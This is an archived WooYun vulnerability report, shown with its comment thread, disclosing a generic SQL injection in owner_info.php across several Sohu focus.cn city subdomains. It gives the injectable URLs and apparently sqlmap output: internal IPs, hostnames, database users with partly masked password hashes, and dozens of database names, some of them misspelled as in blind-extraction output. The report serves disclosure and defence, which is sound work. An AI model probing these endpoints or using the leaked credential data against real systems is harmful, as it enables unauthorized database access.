当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059484

漏洞标题:搜狐(第二季)旗下某站通用型sql注入第三集(涉及数据库个数已经数不过来了)

相关厂商:搜狐

漏洞作者: 浩天

提交时间:2014-05-05 10:54

修复时间:2014-06-19 10:55

公开时间:2014-06-19 10:55

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-05: 细节已通知厂商并且等待厂商处理中
2014-05-05: 厂商已经确认,细节仅向厂商公开
2014-05-15: 细节向核心白帽子及相关领域专家公开
2014-05-25: 细节向普通白帽子公开
2014-06-04: 细节向实习白帽子公开
2014-06-19: 细节向公众公开

简要描述:

子站通用注入,不同域名链接的数据库服务器不一样,搜狐真是财大气粗,每个域名读库,发现都是不同的,从几十到上百的都有,影响的数据库个数多的数不过来,我也不一一尝试了
求个搜狐的礼物,可以有么,同志们你们说,应不应该

详细说明:

home、house域名有并发限制,请求大了就自动限制访问了,偏南方的域名没有限制
http://home.focus.cn/materials/owner_info.php?owner_id=5
这个涉及12个核心库,建议用下面的子域名尝试验证注入,home读的慢,得放胡萝卜里,sqlmap二了
http://sz.focus.cn/materials/owner_info.php?owner_id=46
http://cd.focus.cn/materials/owner_info.php?owner_id=9
http://wh.focus.cn/materials/owner_info.php?owner_id=14 我用的这个
http://cq.focus.cn/materials/owner_info.php?owner_id=6 还有这个
......
这个太多了,来张图吧,之前发的注入,也都是这种通用的情况

0.jpg

漏洞证明:

下面应该是87个库,其实还有很多,太多就不读了
Target: http://cq.focus.cn/materials/owner_info.php?owner_id=6
Host IP: 123.125.92.26
Web Server: Apache
DB Server: MySQL Blind
Resp. Time(avg): 47 ms
Current User: fdbuser@10.10.90.21
Sql Version: 5.1.55-log
Current DB: cqhouse
System User: fdbuser@10.10.90.21
Host Name: focus-gvm-10-10-90-187.no.sohu.com
Installation dir: /usr/local/mysql-5.1.55-linux-x86_64-glibc23/
DB User & Pass: root::localhost
root::127.0.0.1
readonly:5dd*********19d:%
mysqlmon:*565E94D*********8B6C0A37F:10.10.90.187
pingmysql:*565E94D80*********B6C0A37F:10.11.36.20
Data Bases: information_schema
ahsuzhouhouse
ahsuzhouhouse_forum
ahsuzhouhouse_sort
cdhouse
cdhouse_forum
cdhouse_sort
chenzhouhouse
chenzhouhouse_forum
chenzhouhouse_sort
cqhouse
cqhouse_forum
cqhouse_sort
deyanghouse
deyanghouse_forum
deyanghouse_sort
fshouse
fshouse_forum
fshouse_sort
ganzhouhouse
ganzhouiouse_forum
ganzhouhouse_sort
heyuanhouse
heyuanhouse_forum
heyuanhouse_sort
huangshihouse
huangshihouse_forum
huangshihouse_sort
jiangmenhouse
jiangmenhouse_forum
jiangmenhouse_sort
luanhouse
luanhouse_forum
luanhouse_sort
luzhouhouse
luzhouhouse_forum
luzhouhouse_sort
meishanhouse
meishanhouse_forum
meishanhouse_sort
mianyanghouse
mianyanghouse_forum
mianyanghouse_sort
mysql
mysql_identity
nanchonghouse
nanchonghouse_forum
nanchonghouse_sort
njhouse
njhouse_forum
njhouse_sort
nnhouse
nnhouse_forum
nnhouse_sort
qyhouse
qyhouse_forum
qyhouse_sort
shaoguanhouse
shaoguanhouse_forum
shaoguanhouse_sort
shundehouse
shundehouse_forum
shundehouse_sort
tonglinghouse
tonglinghouse_forum
tonglinghouse_sort
weinanhouse
weinanhouse_forum
weinanhouse_sort
wlmqhouse
wlmqhouse_forum
wlmqhouse_sort
wzhouse
wzhoute_forum
wzhquse_sort
xiaoganhouse
xiaoganhouse_forum
xiaoganhouse_sort
zhangzhouhouse
zhangzhouhouse_forum
zhangzhouhouue_sort
zhaoqingrouse
zhaoqinghouse_forur
zhaoqinghouse_sort
zjhouse
zjhouse_forum
zjhouse_sort
这个就读了几个,证明一下得了
Target: http://wh.focus.cn/materials/owner_info.php?owner_id=14
Host IP: 123.125.92.26
Web Server: Apache
DB Server: MySQL Blind
Resp. Time(avg): 43 ms
Current User: fdbuser@10.10.90.133
Sql Version: 5.1.55-log
Current DB: whhouse
System User: fdbuser@10.10.90.133
Host Name: vm-10-10-90-199-sas.cp.no.sohu.com
Installation dir: /usr/local/mysql5.1.55/
DB User & Pass: root::localhost
pingmysql:*565E9*********6C0A37F:10.11.36.20
root::127.0.0.1
Data Bases: information_schema
dongguanhouse
dongguanhouse_forum
dongguanhouse_sort
gzhouse
gzhouse_forum
gzhouse_sort
mysql
mysql_identity
test
whhouse
whhouse_forum
whhouse_sort
不继续了

修复方案:

求个搜狐的礼物,可以有么,我感觉我挺不容易的,你们也不容

版权声明:转载请注明来源 浩天@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-05 11:27

厂商回复:

感谢对搜狐安全关注

最新状态:

暂无


漏洞评价:

评论

  1. 2014-05-05 10:59 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    楼下要怀孕了

  2. 2014-05-05 11:14 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    MD,我怀孕了

  3. 2014-05-05 11:16 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    放心吧,月底会有狐狸公仔一个

  4. 2014-05-05 11:17 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    放心,孩子是小川的!!

  5. 2014-05-05 11:18 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    卡卡 说完一句都没人敢接二楼

  6. 2014-05-05 11:30 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @搜狐 来个小狐狸怎么样

  7. 2014-05-05 11:35 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    浩天基友一路20高调杀入啊!!

  8. 2014-05-05 11:35 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    也有5 10 15的时候 @卡卡

  9. 2014-05-05 11:54 | kider脚本小子 ( 路人 | Rank:4 漏洞数:2 | 系统软件安装及其调试。电脑硬件问题检测...)

    一路20杀过来。。裤子太多会被查水表的!发我邮箱我包你没事!

  10. 2014-05-05 12:07 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    lz 休息一下吧!射的多了身体受不了……

  11. 2014-05-05 12:28 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @卡卡 自己惹的祸,你要对浩天负责人

  12. 2014-05-05 13:07 | ylaxfcy ( 普通白帽子 | Rank:178 漏洞数:28 | 技术无黑白,但是人有)

    @浩天 真是专注sohu注入三十年啊

  13. 2014-05-05 16:08 | 马杀鸡 ( 路人 | Rank:21 漏洞数:5 | 作为一匹勇敢的马,杀鸡是必不可少的)

    不能逮住一个可进薅啊

  14. 2014-05-05 16:22 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @马杀鸡 那我休息休息

  15. 2014-06-19 11:43 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    专注搜狐三十年啊